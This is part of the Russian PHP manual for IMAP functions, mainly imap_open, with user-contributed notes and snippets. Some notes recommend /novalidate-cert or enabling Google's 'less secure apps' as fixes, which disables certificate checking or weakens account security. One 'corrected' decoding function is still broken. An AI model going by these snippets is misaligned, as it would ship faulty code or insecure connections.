- The fifth is a line break - the last character will be a line break any time other head lines or mailbody will follow, so it's needed in the head - but not part of the original subject.
s dot wiese at trabia dot md 18-Dec-2007 01:46
The example of diego is working well, he has a (very) little
mistake in his code. Here is the corrected version:

<?php
//return supported encodings in lowercase.
function mb_list_lowerencodings() { $r=mb_list_encodings();
  for ($n=sizeOf($r); $n--; ) { $r[$n]=strtolower($r[$n]); } return $r;
}

//  Receive a string with a mail header and returns it
// decoded to a specified charset.
// If the charset specified into a piece of text from header
// isn't supported by "mb", the "fallbackCharset" will be
// used to try to decode it.
function decodeMimeString($mimeStr, $inputCharset='utf-8', $targetCharset='utf-8', $fallbackCharset='iso-8859-1') {
  $encodings=mb_list_lowerencodings();
  $inputCharset=strtolower($inputCharset);
  $targetCharset=strtolower($targetCharset);
  $fallbackCharset=strtolower($fallbackCharset);

  $decodedStr='';
  $mimeStrs=imap_mime_header_decode($mimeStr);
  for ($n=sizeOf($mimeStrs), $i=0; $i<$n; $i++) {
    $mimeStr=$mimeStrs[$i];
    $mimeStr->charset=strtolower($mimeStr->charset);
    if (($mimeStr == 'default' && $inputCharset == $targetCharset)
      || $mimStr->charset == $targetCharset) {
      $decodedStr.=$mimStr->text;
    } else {
      $decodedStr.=mb_convert_encoding(
        $mimeStr->text, $targetCharset,
        (in_array($mimeStr->charset, $encodings) ?
          $mimeStr->charset : $fallbackCharset)
        )
      );
    }
  } return $decodedStr;
}
?>
diego nunes <dn at nospam dot dnunes dot com> 14-Dec-2006 10:12
The previous comment (from hans) seems to make no sense at all, since it will not change the encoding and possibly result in a "multiencoding" string (that the browser and anything else will be unable to render, of course).

    I use a little function to decode the whole header to a specified encoding. It is as follow:

<?php
//return supported encodings in lowercase.
function mb_list_lowerencodings() { $r=mb_list_encodings();
  for ($n=sizeOf($r); $n--; ) { $r[$n]=strtolower($r[$n]); } return $r;
}

//  Receive a string with a mail header and returns it
// decoded to a specified charset.
// If the charset specified into a piece of text from header
// isn't supported by "mb", the "fallbackCharset" will be
// used to try to decode it.
function decodeMimeString($mimeStr, $inputCharset='utf-8', $targetCharset='utf-8', $fallbackCharset='iso-8859-1') {
  $encodings=mb_list_lowerencodings();
  $inputCharset=strtolower($inputCharset);
  $targetCharset=strtolower($targetCharset);
  $fallbackCharset=strtolower($fallbackCharset);

  $decodedStr='';
  $mimeStrs=imap_mime_header_decode($mimeStr);
  for ($n=sizeOf($mimeStrs), $i=0; $i<$n; $i++) {
    $mimeStr=$mimeStrs[$i];
    $mimeStr->charset=strtolower($mimeStr->charset);
    if (($mimeStr == 'default' && $inputCharset == $targetCharset)
      || $mimStr->charset == $targetCharset) {
      $decodedStr.=$mimStr->text;
    } else {
      $decodedStr.=mb_convert_encoding(
        $mimeStr->text, $targetCharset,
        (in_array($mimeStr->charset, $encodings) ?
          $mimeStr->charset : $fallbackCharset)
        )
      );
    }
  } return $decodedStr;
}
?>

    Hope it helps.
hans at lintoo dot dk 22-Dec-2005 06:10
This is obvious, but nevertheless here is a "flat" version:
<?php
private function flatMimeDecode($string) {
    $array = imap_mime_header_decode($string);
    $str = "";
    foreach ($array as $key => $part) {
        $str .= $part->text;
    }
    return $str;
}
?>
cracker at bigcracker dot ca 22-Feb-2005 04:55
In response to Sven dot Dickert at planb dot de: if you encounter problems with "=?utf-8?Q?" appearing in your headers, I found that simply using "imap_utf8($string)" decoded the "$string" properly and solved my problem perfectly.
Pawel Tomicki <pafka at klub dot chip dot pl> 22-Apr-2004 11:04
<?php

function decode_iso88591($string){
  if (strpos(strtolower($string), '=?iso-8859-1') === false) {
    return $string;
  }
  $string = explode('?', $string);
  return strtolower($string[2]) == 'q' ? quoted_printable_decode($string[3]) : base64_decode($string[3]);
}

?>
mattias at forss dot se 26-Nov-2003 07:45
This function does not code a-z 0-9 like the function posted by bandpay at hotmail dot com

function encode_iso88591($string) {
    if( ereg("[^A-Za-z0-9\ ]", $string) ) {
        $text = "=?iso-8859-1?q?";
        for( $i = 0 ; $i < strlen($string) ; $i++ ) {
            if( ereg("[^A-Za-z0-9]", $string[$i]) ) {
                $text .= "=".dechex(ord($string[$i]));
            } else {
                $text .= $string[$i];
            }
        }
        return $text."?=";
    } else     return $string;
}
hdlim at kis21 dot com 01-Jan-2003 10:35
imap_mime_header_decode, utf-7 and utf-8 problem, i solved the problem using below function. note that iconv function for code converting.
you must replace "EUC-KR" as iconv parameter with charset you want such as "iso-8859-1".

function mime_decode($s) {
  $elements = imap_mime_header_decode($s);
  for($i = 0;$i < count($elements);$i++) {
    $charset = $elements[$i]->charset;
    $text =$elements[$i]->text;
    if(!strcasecmp($charset, "utf-8") ||
       !strcasecmp($charset, "utf-7"))
    {
      $text = iconv($charset, "EUC-KR", $text);
    }
    $decoded = $decoded . $text;
  }
  return $decoded;
}
Sven dot Dickert at planb dot de 16-May-2002 06:31
Beware! imap_mime_header_decode in 4.0.6 is _not_ RFC2047 conform. The string =?utf-7?Q?Petra_M+APw-ller?= will not converted into Petra M?ller cause the charset utf7 is unknown.  Same goes to =?utf-8?Q?Petra_M=C3=BCller?= for charset utf8.
charsyam at liso dot cs dot pusan dot ac dot kr 13-Aug-2001 08:34
I wrote a simple ks_c_5601-1987(2byte)
encode

function encode_ksc5601( $string )
{
 $encode = base64_encode( $string );
 $text = "=?ks_c_5601-1987?B?";
 $text = $text.$encode."?=";
 return $text;
}


Получить номер сообщения с заданным UID

  • « imap_mime_header_decode
  • imap_mutf7_to_utf8 »
  • PHP Manual
  • Функции IMAP
  • Получить номер сообщения с заданным UID

imap_msgno

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_msgno — Получить номер сообщения с заданным UID

Описание

imap_msgno(IMAP\Connection $imap, int $message_uid): int

Возвращает номер сообщения для указанного message_uid.

Эта функция обратная к imap_uid().

Список параметров

imap

Экземпляр IMAP\Connection.

message_uid

UID сообщения

Возвращаемые значения

Возвращает номер сообщения для указанного message_uid.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_uid() - Получить UID по номеру сообщения

User Contributed Notes

phpdocu at malli dot co dot at 01-May-2022 08:37
Here is a simple working snippet to properly check the return value of imap_msgno():

$id = imap_msgno($imapConnection, $mailUid); //convert to normal messagenumber in current context
$verifyUid = imap_uid($imapConnection, $id);
if ($verifyUid != $mailUid)
  throw new Exception("Attention: imap_msgno returned nonsense!  The mail was probably not found in the mailbox!");
os at simonconsulting dot at 19-Apr-2011 11:44
For me, this function returns FALSE if uid does not match a message in the current mailbox.
dcridland.at.redwire.com 03-Oct-2001 06:32
<p>Note that imap_msgno() doesn't ever give you an error message. So, assuming you're passing about message numbers as a UID, be warned that:</p>
<p>$msguid = false;<br>
$msgno = imap_msgno( $your_initialized_connection, $msguid );</p>
<p>Will leave ($msgno==1) - this is probably not what you want, and it's surprisingly easy to miss while you're doing the basic testing.</p>


Декодировать изменённую строку UTF-7 в UTF-8

  • « imap_msgno
  • imap_num_msg »
  • PHP Manual
  • Функции IMAP
  • Декодировать изменённую строку UTF-7 в UTF-8

imap_mutf7_to_utf8

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

imap_mutf7_to_utf8 — Декодировать изменённую строку UTF-7 в UTF-8

Описание

imap_mutf7_to_utf8(string $string): string|false

Декодировать изменённую строку UTF-7 (в соответствии с RFC 2060, раздел 5.1.3) в UTF-8.

Замечание:

Эта функция доступна только в случае, если libcclient экспортирует utf8_to_mutf7().

Список параметров

string

Изменённая строка, закодированная в UTF-7.

Возвращаемые значения

Возвращает string, конвертированную в UTF-8 или false в случае возникновения ошибки.

Смотрите также

  • imap_utf8_to_mutf7() - Кодировать строку UTF-8 в изменённую UTF-7

User Contributed Notes

djmaze at snappymail dot eu 17-Oct-2022 08:28
Currently imap_mutf7_to_utf8 doesn't support U+10000 and up.
You can test this with the teapot emoji ??
<?php
echo imap_utf8_to_mutf7('??') . "\n";
echo bin2hex(imap_mutf7_to_utf8('&2D7e1g-')) . "\n";
?>


Получить количество сообщений в текущем почтовом ящике

  • « imap_mutf7_to_utf8
  • imap_num_recent »
  • PHP Manual
  • Функции IMAP
  • Получить количество сообщений в текущем почтовом ящике

imap_num_msg

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_num_msg — Получить количество сообщений в текущем почтовом ящике

Описание

imap_num_msg(IMAP\Connection $imap): int|false

Возвращает количество сообщений в текущем почтовом ящике.

Список параметров

imap

Экземпляр IMAP\Connection.

Возвращаемые значения

Возвращает количество сообщений в текущем почтовом ящике в виде целого числа. В случае возникновения ошибки возвращает false.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_num_recent() - Получить количество новых сообщений в текущем почтовом ящике
  • imap_status() - Получить информацию по статусу почтового ящика

User Contributed Notes

comlampe at aol dot com 08-Apr-2004 12:30
While imap_status sets "read"-Flag when used, imap_num_msg does not touch any flag.


Получить количество новых сообщений в текущем почтовом ящике

  • « imap_num_msg
  • imap_open »
  • PHP Manual
  • Функции IMAP
  • Получить количество новых сообщений в текущем почтовом ящике

imap_num_recent

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_num_recent — Получить количество новых сообщений в текущем почтовом ящике

Описание

imap_num_recent(IMAP\Connection $imap): int

Возвращает количество новых сообщений в текущем почтовом ящике.

Список параметров

imap

Экземпляр IMAP\Connection.

Возвращаемые значения

Возвращает количество новых сообщений в текущем почтовом ящике в виде целого числа.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_num_msg() - Получить количество сообщений в текущем почтовом ящике
  • imap_status() - Получить информацию по статусу почтового ящика

User Contributed Notes

jhoglin at digital-elephant dot com 23-Sep-2003 03:25
If you would like to skip the update of recent messages use the OP_READONLY flag when you open to check for new messages.
dizzy at roedu dot net 04-Feb-2003 09:36
of course it doesnt. because "recent" does NOT mean "unseen" . they are different. for Maildir users, recent means messages found in the "new" subdir (which are moved to "cur" on the first opening of the Inbox). "unseen" are the messages you guys probably want (messages which have never been read).
rok at ipunkt dot biz 27-Aug-2002 02:10
The num_recent value does all the work it has to do. It returns only a number if the mail is not touched any time before.
stephane-wantiez at tiscalinet dot be 11-Aug-2002 10:13
Note that if you close your imap connexion, it seems that all the recents messages are no more recents...
So it's not very useful for a webmail...


Открывает поток IMAP к почтовому ящику

  • « imap_num_recent
  • imap_ping »
  • PHP Manual
  • Функции IMAP
  • Открывает поток IMAP к почтовому ящику

imap_open

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_open — Открывает поток IMAP к почтовому ящику

Описание

imap_open(
string $mailbox,
string $user,
string $password,
int $flags = 0,
int $retries = 0,
array $options = []
): IMAP\Connection|false

Открывает поток IMAP к mailbox.

Данная функция также может использоваться для открытия потока к серверам POP3 и NNTP, но часть функций и особенностей будет работать только с серверами IMAP.

Список параметров

mailbox

Имя почтового ящика состоит из сервера и пути к почтовому ящику на нем. Специальное имя INBOX используется для почтового ящика текущего пользователя. Имена почтовых ящиков, содержащих интернациональные символы кроме входящих в печатное пространство ASCII, должны быть закодированы с помощью imap_utf7_encode().

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

Серверная часть, заключённая в фигурные скобки '{' и '}', состоит из имени или IP-адреса сервера, опционального порта (предварённого двоеточием) и опциональных спецификаций протокола (предварённых слешем '/').

Серверная часть является обязательной во всех параметрах почтового ящика.

Все имена, начинающиеся с { являются удалёнными именами и имеют такой синтаксис "{" remote_system_name [":" port] [flags] "}" [mailbox_name] где:

  • remote_system_name - полное доменное имя сервера, либо IP-адрес в квадратных скобках.
  • port - необязательный параметр. Определяет порт сервера
  • flags - опциональные флаги, смотри таблицу ниже
  • mailbox_name - имя почтового ящика. По умолчанию INBOX

Опциональные флаги
Флаг | Описание
/service=service | сервис доступа к почтовому ящику. По умолчанию "imap"
/user=user | имя пользователя для входа на сервер
/authuser=user | удалённый пользователь для аутентификации; если указано, то это будет тот пользователь, чей пароль используется (например administrator)
/anonymous | удалённый доступ под анонимным пользователем
/debug | записывать телеметрию протокола в специальный лог-файл приложения
/secure | не передавать пароль по сети в виде нешифрованного текста
/imap, /imap2, /imap2bis, /imap4, /imap4rev1 | эквивалентно /service=imap
/pop3 | эквивалентно /service=pop3
/nntp | эквивалентно /service=nntp
/norsh | не использовать rsh или ssh для установки преавторизованной сессии IMAP
/ssl | использовать SSL для шифрования сессии
/validate-cert | проверять сертификаты серверов TLS/SSL (поведение по умолчанию)
/novalidate-cert | не проверять сертификаты от серверов TLS/SSL. полезно для серверов с самоподписанным сертификатом
/tls | принудительно использовать start-TLS для шифрования сессии и отвергать соединения с серверами его не поддерживающими
/notls | не применять start-TLS для шифрования сессии, даже если сервер его поддерживает
/readonly | запрос открытия в режиме "только чтение" (только IMAP; игнорируется для NNTP и выдаёт ошибку для SMTP и POP3)

user

Имя пользователя

password

Пароль пользователя user

flags

flags - битовая маска из одной или нескольких констант:

  • OP_READONLY - открыть почтовый ящик только для чтения
  • OP_ANONYMOUS - не использовать и не обновлять .newsrc для новостей (только NNTP)
  • OP_HALFOPEN - открыть соединение, но не подключаться к почтовому ящику для имён IMAP и NNTP.
  • CL_EXPUNGE - автоматически удалять все помеченные для удаления сообщения при закрытии почтового ящика (смотрите imap_delete() и imap_expunge())
  • OP_DEBUG - договорённости по протоколу отладки
  • OP_SHORTCACHE - короткое кеширование (только elt)
  • OP_SILENT - не передавать события (внутреннее использование)
  • OP_PROTOTYPE - вернуть прототип драйвера
  • OP_SECURE - не производить безопасную аутентификацию

retries

Максимальное количество попыток соединения

options

Параметры для соединения. Для установки одного или нескольких параметров соединения можно использовать следующие (строки) ключи:

  • DISABLE_AUTHENTICATOR - запрещает свойства аутентификации

Возвращаемые значения

В случае успешного выполнения возвращает экземпляр IMAP\Connection или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр IMAP\Connection; ранее возвращался ресурс (resource).

Примеры

Пример #1 Различные способы использования imap_open()

<?php
// Для подключения к серверу IMAP, работающему на порту 143 на локальной машине, сделать следующее:
$mbox = imap_open("{localhost:143}INBOX", "user_id", "password");

// Для подключения к серверу POP3, работающему на порту 110 на локальной машине, использовать:
$mbox = imap_open ("{localhost:110/pop3}INBOX", "user_id", "password");

// Для подключения к серверу SSL IMAP или POP3, добавить /ssl после протокола
// specification:
$mbox = imap_open ("{localhost:993/imap/ssl}INBOX", "user_id", "password");

// Для подключения к серверу SSL IMAP или POP3 с самоподписанным сертификатом,
// добавить /ssl/novalidate-cert после спецификации протокола:
$mbox = imap_open ("{localhost:995/pop3/ssl/novalidate-cert}", "user_id", "password");

// Для подключения к серверу NNTP, работающему на порту 119 на локальной машине, использовать:
$nntp = imap_open ("{localhost:119/nntp}comp.test", "", "");
// Для подключения к удалённому серверу, заменить "localhost" на имя или
// IP-адрес сервера, к которому вы хотите подключиться.
?>

Пример #2 Пример использования imap_open()

<?php
$mbox = imap_open("{imap.example.org:143}", "username", "password");

echo "<h1>Почтовые ящики</h1>\n";
$folders = imap_listmailbox($mbox, "{imap.example.org:143}", "*");

if ($folders == false) {
echo "Неудачный вызов<br />\n";
} else {
foreach ($folders as $val) {
echo $val . "<br />\n";
}
}

echo "<h1>Заголовки в INBOX</h1>\n";
$headers = imap_headers($mbox);

if ($headers == false) {
echo "Неудачный вызов<br />\n";
} else {
foreach ($headers as $val) {
echo $val . "<br />\n";
}
}

imap_close($mbox);
?>

Смотрите также

  • imap_close() - Закрыть поток IMAP

User Contributed Notes

Stefano 20-Nov-2022 10:08
``There is one thing I learned over the years,
if someone says: "it's not possible", prove them wrong.`` ~ Stefano Kocka '99

test date: 2022-11-20
php version: PHP 8.0.10 (cli)
extension=imap
extension=openssl

imap: IMAP c-Client Version => 2007f
SSL Support => enabled

https://support.google.com/accounts/answer/185833?hl=en

<?php
$cnx = '{imap.gmail.com:993/imap/ssl/readonly}';
$mbox = imap_open($cnx, 'user@gmail.com', 'MyAppPassword');
$folders = imap_listmailbox($mbox, $cnx, '*');
print_r($folders);
/*
Array
(
    [0] => {imap.gmail.com:993/imap/ssl/readonly}INBOX
    [1] => {imap.gmail.com:993/imap/ssl/readonly}LABEL1
    [2] => {imap.gmail.com:993/imap/ssl/readonly}LABEL2
    [3] => {imap.gmail.com:993/imap/ssl/readonly}Queue
    [4] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/All
    [5] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/Drafts
    [6] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/Sent
    [7] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/Spam
    [8] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/Starred
    [9] => {imap.gmail.com:993/imap/ssl/readonly}[Gmail]/Trash
)
*/
?>
Kind regards
neekToO 27-Aug-2022 11:55
To reply to "dsgvoseidank" saying it doesnt work anymore with Gmail :

As today 26 august 2022 it is still working but you need to use google parameters to generate a password for your app on a 2FA account
php at dsgvoseidank dot de 08-Jun-2022 12:15
Google dropped the support of user/password authentication as of 30 may 2022.
imap_open can not be used anymore, without the support of xoauth2.
https://support.google.com/accounts/answer/6010255

There is a ToDo from 2020 that didn't make it.
https://wiki.php.net/todo/ext/imap/xoauth2

The only way is to switch to a third party lib. "php-imap"
This is so sad.
chris at ocproducts dot com 09-Jun-2020 09:05
imap_open supports SSL/TLS and start-TLS, and also totally unencrypted sessions.

The documentation here slightly conflates things.

Where it is referring to SSL (/ssl) it is really referring to SSL/TLS of the immediate variety. The initial connection will immediately be SSL/TLS, rather than later upgraded. (I don't know the specifics about which versions of SSL/TLS c-client is going to be negotiating/using.)

The '/tls' and '/notls' options are just about start-TLS, i.e. upgraded connections.

Note there is a '/notls' option but not a '/nossl' option. That is because by default c-client is going to upgrade to TLS (start-TLS) when it sees it as an advertised option by the IMAP server. i.e. it is going to do it based on auto-detection. The '/notls' option disables that auto-detection, which is sometimes necessary. For example, I just helped someone whose IMAP server advertises start-TLS to connections on port 143 but it actually only works on port 993. Regular SSL/TLS doesn't do any auto-detection as the connection mode has to be explicitly made upfront anyway.
LANGE.LUDO 18-Nov-2018 07:35
If you get Kerberos errors like:
« Notice: Unknown: Kerberos error: Credentials cache file '/tmp/krb5cc_0123' not found (try running kinit) ».

Try to add as a $param:
<?php array('DISABLE_AUTHENTICATOR' => 'GSSAPI') ?>

eg.
<?php
$imap_stream = imap_open('{mail.domain.tld:993/imap/ssl}' , 'username' , 'password', null, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>
reg1barclay at REMOVETHIS dot live dot it 03-Nov-2018 06:18
On Windows, this function does not use certificates in directories listed by openssl_get_cert_locations(): it use system's certificates store. If you want to use a certificate signed by a test authority, you must add root certificate of your test authority to Window's certificates store.
Anonymous 11-Jan-2018 06:28
Function to test most of the possible options of a connection:

function imapConfig($options, $i=0, $till = array()) {
        if(sizeof($options)==$i)
            return $till;

        if(sizeof($till)==0)
            $till[] = '';

        $opt = $options[$i];
        $new = array();
        foreach($till as $t) {
            foreach($opt as $o) {
                if(strlen($o)==0)
                    $new[] = $t;
                else
                    $new[] = $t.'/'.$o;
            }
        }
        return imapConfig($options, $i+1, $new);
    }

function imap_test($server, $port, $dir, $username, $passw) {
        $options = array();
        //$options[] = array('debug');
        $options[] = array('imap', 'imap2', 'imap2bis', 'imap4', 'imap4rev1', 'pop3'); //nntp
        $options[] = array('', 'norsh');
        $options[] = array('', 'ssl');
        $options[] = array('', 'validate-cert', 'novalidate-cert');
        $options[] = array('', 'tls', 'notls');

        $configOptions = imapConfig($options);
        foreach($configOptions as $c) {
            $mbox = @imap_open("{".$server.":".$port.$c."}".$dir, $username, $passw);
            echo "<b>{".$server.":".$port.$c."}".$dir."</b> ... ";
            if (false !== $mbox) {
                echo '<span style="color: green"> success</span>';
            }
            else {
                echo '<span style="color: red"> failed</span>';
            }
            echo '<br>';
        }
    }

imap_test('mail.server.de', 143, 'INBOX', 'username', 'pwd');
dominic_mayers at yahoo dot com 11-Mar-2017 07:02
This code demonstrates features that are not well documented at this time. The main feature is that the selected mailbox in imap_open (or reopen)  and the specified mailbox in other imap functions are unrelated.  It has been tested with Gmail and with a Dovecot IMAP server.  The mailbox separator depends on the server. Gmail: "/"  Dovecot: "."  If you want to test with Gmail, you need to turn on "Access for less secure apps" in your account.

<?php
  // Change these.
  $server    = "{imap.gmail.com:993/imap/ssl/novalidate-cert}";
  $email     = "example@gmail.com";
  $password  = "password";

  // The code assumes that the folders Test/Sub1/Sub11, etc. exist.
  $selected  = "{$server}Test/Sub1/Sub12";
  $conn      = imap_open($selected, $email , $password);

  // This returns the $specified mailbox and its sub mailboxes,
  // even if the $specified mailbox is outside the $selected mailbox.
  $specified =  "{$server}Test/Sub1";
  $boxes     = imap_list($conn, $specified , '*');
  print_r($boxes);

  // This appends the message in the $specified mailbox.
  // It ignores the $selected mailbox.
  imap_append($conn, $specified
                     , "From: me@example.com\r\n"
                     . "To: you@example.com\r\n"
                     . "Subject: test\r\n"
                     . "\r\n"
                     . "this is a test message, please ignore\r\n");

  // This changes the $selected mailbox
  $selected = "{$server}Test/Sub1";
  imap_reopen($conn, $selected);

  // This moves a message from the $selected to the $specified mailbox
  // In this case, the specified mailbox does not include the server.
  imap_mail_move ($conn , "1" ,  "Test");
  imap_expunge($conn);
  imap_close($conn);
  // If you executed this code with a real IMAP server,
  // the message is now in the Test mailbox !
?>
Valerio Pulese 18-Mar-2016 03:36
If you get slow imap4/pop3 authentication step
i.e. 5-10 sec just for response, maybe you are connecting to an imap server which is advertising GSSAPI auth mechanism.
Martin Eckardt note could help to speed it up.
<?php
$mbox = imap_open("{imap server with GSSAPI :993/imap/ssl}", $user, $password, NULL, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>

Disable GSSAPI if you dont use it.
If your imap/pop server is Dovecot
/etc/dovecot/conf.d/10-auth.conf
...
auth_mechanisms = plain login gssapi
-> auth_mechanisms = plain login
Ap.Muthu 07-Oct-2015 09:45
An old archived 2006 PHP script to retrieve IMAP POP3 email into a MySQL database and as files is at:
http://web.archive.org/web/20060411020022/http://www.sellchain.com/phPOP3/phPOP3.txt
Tim 29-Mar-2015 07:14
Hi

I was struggling with the Gmail Imap/pop connection. It keeps saying too many failed login connections were made.

Thing I did:
 https://www.google.com/settings/security/lesssecureapps
Clicked "Turn on"
> worked!

So last step could be used but remember your account will be at a certain security risk. Anyway it comes in handy to develop...
Lisboa 07-Jan-2015 01:57
The error: Unknown: Mailbox is empty (errflg=1) in Unknown on line 0
appears when:

1)  use imap_open to connect
2) then use imap_search ALL to retrieve emails

but there are no messages available. To avoid this error, check first the number of messages in a mailbox using imap_status. Only if there are messages available then you can use the imap_search.
hashampel at yahoo dot de 29-Aug-2014 08:15
Subfolders of INBOX have to be seperate by dot like this: 'INBOX.test'
$mailbox = '{example.example.com:143/imap/novalidate-cert}INBOX.test'
me at achronos dot ca 01-Jun-2014 02:09
Do not bother using "/debug" flag in $mailbox or OP_DEBUG in $options. They do not do anything.

When you set either one, the underlying IMAP c-client library will gather protocol debugging data and pass it back to PHP.
However, the debug handler defined by PHP is an empty function, it doesn't do anything.

So unless you're using a customized version of the IMAP extension that does something with that handler (mm_dlog), there is no point using "/debug" or OP_DEBUG.
Brian Law 22-May-2014 04:14
imap_open()
 validate SSL certificate does not support Subject Alternative Name (SAN) certificate. It only validate against the Subject/Common name.
jeff at newscloud dot com 10-Jan-2014 06:35
One of the issues with gmail IMAP SSL authentication is related to Google's account security.

Once you get the login error once, sign out of all your google accounts. Then, visit this link:
http://www.google.com/accounts/DisplayUnlockCaptcha

Log in with the account you're attempting to access via imap.

Follow the steps and you'll then be able to login in to gmail with php imap.

It's visually shown here:
http://jeffreifman.com/filtered-open-source-imap-mail-filtering-software-for-php/configuring-gmail/
phpnet at danepowell dot com 12-Dec-2011 08:20
If you are accessing a local mailbox file, i.e. imap_open('/var/mail/www-data', '', ''), you may be restricted in what files you can access.

If PHP IMAP was compiled with the restrictBox option (which I believe most packages are these days), you can only access files relative to $HOME. Paths starting with '/' or '../' will be rejected.
Martin Eckardt 01-Jul-2011 06:41
Since Version 5.3.2 there's a 6th parameter available to disable authentication with GSSAPI or NTLM:

Example:
<?php
$mbox = imap_open("{w2010ExchangeServer:993/imap/ssl}", $user, $password, NULL, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>

This solves the problem with Exchange 2010 for me. As a reference see https://bugs.php.net/bug.php?id=33500
jeff1326 13-Jun-2011 07:12
If your connection is too slow, try it with port and without domain.

<?php
//Normal connection
$mailbox = imap_open("{SERVER}INBOX", $username, $password);

//Faster connection
$mailbox = imap_open("{SERVER:143}INBOX", $username, $password);

//Very slow connection
$mailbox = imap_open ("{SERVER.DOMAIN}INBOX", "DOMAIN/".$username, $password);
?>
david at brayworth dot com dot au 10-May-2011 05:28
I managed to use this function against Exchange 2010 without recompiling to disable kerberos

It's important to me that php installs per the standard package (yum install php)

Exchange 2010 triggers kerberos in php, and you require the kinit thing (search around google for "imap_open kinit exchange 2010" and you will find this)

To get it working I had to:
1. setup the krb5.conf file correctly
2. do a kinit username@DOMAIN.DOM with a valid username / password
3. rename the ticket file to reflect the user id of apache (usually 48)
   /tmp/krb5cc_48
4. fix ownership
   chown apache.apache /tmp/krb5cc_48

but the exchange server will use the kerberos ticket and not the username password - unless you use ssl

<?php

    $imap_user = "username";
    $imap_pass = "password";
    $imap_server = "{w2010kExchangeServer:993/novalidate-cert/ssl}";

    $mbox = imap_open("{$imap_server}INBOX", $imap_user, $imap_pass);

    $sorted_mbox = imap_sort($mbox, SORTDATE, 0);
    $totalrows = imap_num_msg($mbox);
    print "$imap_server\n";

    $startvalue = 0;
    while ($startvalue < $totalrows) {

        $headers = imap_fetchheader($mbox, $sorted_mbox[ $startvalue ] );
        $subject = array();
        preg_match_all('/^Subject: (.*)/m', $headers, $subject);
        print $subject[1][0] . "\n";

        $startvalue++;
    }
?>

One small step for php / exchange, one Giant leap for David  ....
guilherme dot geronimo at gmail dot com 09-Nov-2010 05:23
Using:
<?php
imap_open( "{server.example.com:143}INBOX" , 'login' , 'password' );
?>

Got this error:
"Couldn't open stream {server.example.com:143}INBOX"

Solved by adding the flag "novalidate-cert":
<?php
imap_open( "{server.example.com:143/novalidate-cert}INBOX" , 'login' , 'password' );
?>

=D
egoman69 at hotmail 07-Sep-2010 12:32
"Couldn't open stream {127.0.0.1:143/imap/notls}INBOX"

Solved by only replacing 127.0.0.1 with localhost, php and IMAP server both in same machine, not through Proxy or anything. Weird!
oz49erfan 02-Mar-2010 07:39
Make sure your PHP is enabled with imap via the phpinfo() function

'--with-imap-dir=/opt/lampp' '--with-imap-ssl' '--with-imap=/opt/lampp'

and

IMAP c-Client Version 2007e
SSL Support Yes

I noticed that my apache script was working but my cli script was not. Turns out my php cli executable didn't have imap setup so I had to use another php cli executable.
kay at rrr dot de 31-Jan-2010 08:16
imap_open is very simple to use, but struggles a litte bit on setups with ssl and tls.

this are tested examples for different hosts and protocols.

uncomment the host/protocol line and fill in correct username and password.

Kay

<?php

#######
# localhost pop3 with and without ssl
# $authhost="{localhost:995/pop3/ssl/novalidate-cert}";
# $authhost="{localhost:110/pop3/notls}";

# localhost imap with and without ssl
# $authhost="{localhost:993/imap/ssl/novalidate-cert}";
# $authhost="{localhost:143/imap/notls}";
# $user="localuser";

# localhost nntp with and without ssl
# you have to specify an existing group, control.cancel should exist
# $authhost="{localhost:563/nntp/ssl/novalidate-cert}control.cancel";
# $authhost="{localhost:119/nntp/notls}control.cancel";

######
# web.de pop3 without ssl
# $authhost="{pop3.web.de:110/pop3/notls}";
# $user="kay.marquardt@web.de";

#########
# goggle with pop3 or imap
# $authhost="{pop.gmail.com:995/pop3/ssl/novalidate-cert}";
# $authhost="{imap.gmail.com:993/imap/ssl/novalidate-cert}";
# $user="username@gmail.com";

$user="username like above";
$pass="yourpass";

if ($mbox=imap_open( $authhost, $user, $pass ))
        {
         echo "<h1>Connected</h1>\n";
         imap_close($mbox);
        } else
        {
         echo "<h1>FAIL!</h1>\n";
        }

?>
mightycpa 03-Jul-2009 10:45
My script kept on timing out, even though the syntax was spot on... ultimately, I figured out that the port was blocked by my webhost, where I ran this on a shared server...

I post this just in case you miss this obvious, like I did.
Jason Pires 25-Apr-2008 10:56
Dears.
In my case, e-mail host was the IMAP enabled.
So, just use the imap_open as the very simple form like:

$mailbox = "{mail.myhost.com:143/notls}INBOX";
$user = "me@myhost.com";
$pass = "mypassword";

$connection = imap_open($mailbox,$user,$pass) or die(imap_last_error()."<br>Connection Faliure!");

thanks!
itstooloud 31-Oct-2007 11:50
Works with Gmail's new IMAP function for personal and for Google Apps.

$mbox = imap_open ("{imap.gmail.com:993/imap/ssl}INBOX", "username@gmail.com", "password")
     or die("can't connect: " . imap_last_error());
askalski at synacor dot com 27-Sep-2007 08:50
By default, imap_open() will retry an incorrect password 3 times before giving up.  This is a feature built into the c-client library intended for interactive mail clients (which can prompt the end user for a new username/password combo.)

The new optional parameter "$n_retries" allows PHP to override the default retry limit.  There is absolutely no reason to leave this at default, or to set it to any value other than 1.  This is especially important if the mail server you're using locks users out after too many login failures.
Amit 11-Sep-2006 10:25
None of the above comments explain the configuration issues on Apache/Windows combination. I thought it might be helpful to list my findings here so that Windows people's time is saved.

There is a bug in Windows php_imap.dll that prevents it from connecting it to the SSL IMAP/POP3 server.

http://bugs.php.net/bug.php?id=36496&edit=1
shaikh_zaid at yahoo dot com 04-Apr-2006 11:55
